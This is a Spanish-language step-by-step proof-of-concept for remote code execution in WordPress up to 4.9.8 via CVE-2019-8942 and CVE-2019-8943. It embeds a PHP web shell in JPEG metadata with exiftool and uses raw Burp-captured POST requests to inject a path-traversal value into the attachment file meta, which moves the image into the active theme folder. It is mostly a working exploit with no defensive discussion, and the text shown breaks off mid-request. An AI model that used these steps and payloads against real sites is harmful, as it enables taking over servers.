Resumen

Un PoC simple para RCE en WordPress (privilegio de autor), consulte CVE-2019-8942 y CVE-2019-8943.

Versión afectada

• WordPress <= 4.9.8 (verificado)
• WordPress <= 5.0.0

Entorno de prueba

Imagen Docker

• docker pull avfisherdocker/wordpress:4.9.8
• docker run -d -p 80:80 avfisherdocker/wordpress:4.9.8

Información de MySQL y WordPress

Tipo	Usuario	Contraseña
mysql	root	root
wordpress	admin	admin4wp498
wordpress	author	author4wp498

Pruebas de concepto

1. Inicia Burp para interceptar el tráfico

2. Crea un archivo de imagen malicioso en poc.jpg con exiftool

• exiftool poc.jpg -documentname="<?php echo exec(\$_POST['cmd']); ?>"

3. Detecta el tema actual con WPScan

• wpscan -u <URL> -et, p.ej. twentyseventeen como predeterminado en WordPress 4.9.8

4. Sube el archivo de imagen de payload poc.jpg

• Inicia sesión en la cuenta author;
• Haz clic en Medios - Añadir nuevo en el Panel de control para subir el archivo poc.jpg;
• Selecciona la imagen subida y haz clic en Editar más detalles - Actualizar;
• Verifica en Burp que verás una solicitud POST /wp-admin/post.php similar a la siguiente y luego envíala a Repeater:

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc

5. Recorta la imagen

• Ve a Medios y selecciona la imagen subida en el paso 4;
• Haz clic en Editar imagen para recortar la imagen y luego haz clic en Guardar;
• Verifica en Burp que verás una solicitud POST /wp-admin/admin-ajax.php similar a la siguiente y luego envíala a Repeater:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/upload.php?item=6&mode=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126785
Connection: close

action=image-editor&_ajax_nonce=0fc4799ff5&postid=6&history=%5B%7B%22c%22%3A%7B%22x%22%3A10%2C%22y%22%3A13%2C%22w%22%3A32%2C%22h%22%3A26%7D%7D%5D&target=full&context=&do=save

6. Actualiza el archivo adjunto a poc.jpg#/poc.jpg

• Añade &meta_input[_wp_attached_file]=<AÑO ACTUAL>/<MES ACTUAL>/poc.jpg#/poc.jpg (p.ej. &meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg para febrero de 2019) en la solicitud POST /wp-admin/post.php capturada en el paso 4 en Burp Repeater de manera similar a la siguiente y luego haz clic en Go.

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1

_wpnonce=ab3340b93c&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=attachment&original_post_status=inherit&referredby=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&_wp_original_http_referer=http%3A%2F%2F34.211.248.202%2Fwp-admin%2Fupload.php%3Fitem%3D6&post_ID=6&meta-box-order-nonce=539523098a&closedpostboxesnonce=f7481e5cf7&post_title=poc&samplepermalinknonce=90f8d66414&excerpt=&_wp_attachment_image_alt=&content=&attachment_url=http%3A%2F%2F34.211.248.202%2Fwp-content%2Fuploads%2F2019%2F02%2Fpoc.jpg&original_publish=Update&save=Update&advanced_view=1&comment_status=open&add_comment_nonce=e7116231cd&_ajax_fetch_list_nonce=0163224a2a&_wp_http_referer=%2Fwp-admin%2Fpost.php%3Fpost%3D6%26action%3Dedit&post_name=poc&meta_input[_wp_attached_file]=2019/02/poc.jpg#/poc.jpg

7. Recorta la imagen

• Repite la solicitud POST /wp-admin/admin-ajax.php capturada en el paso 5 en Burp Repeater.

8. Actualiza el archivo adjunto a poc.jpg#/../../../../themes/<TEMA ACTUAL>/poc.jpg

• Actualiza como &meta_input[_wp_attached_file]=<AÑO ACTUAL>/<MES ACTUAL>/poc.jpg#/../../../../themes/<TEMA ACTUAL>/poc.jpg (p.ej. &meta_input[_wp_attached_file]=2019/02/poc.jpg#/../../../../themes/twentyseventeen/poc.jpg para febrero de 2019) en la solicitud POST /wp-admin/post.php capturada en el paso 4 en Burp Repeater de manera similar a la siguiente y haz clic en Go.

POST /wp-admin/post.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://34.211.248.202/wp-admin/post.php?post=6&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 832
Cookie: wordpress_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cc9a1b8db83347d7e7893f8b871033a3cf8c8d90c0164b9e293e397a46da02df8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9f977c8ffc2c97b0c848277689037ed1=author%7C1551298764%7CkwllUoWifopUBYobsNWYqsJTJ1tnI3enLdT6Hx4GdoR%7Cd0d730cf25331c60b4c2ff475f5d9b38ed95d308dcc3452eba307eaa6367d9d8; wp-settings-time-2=1551126207
Connection: close
Upgrade-Insecure-Requests: 1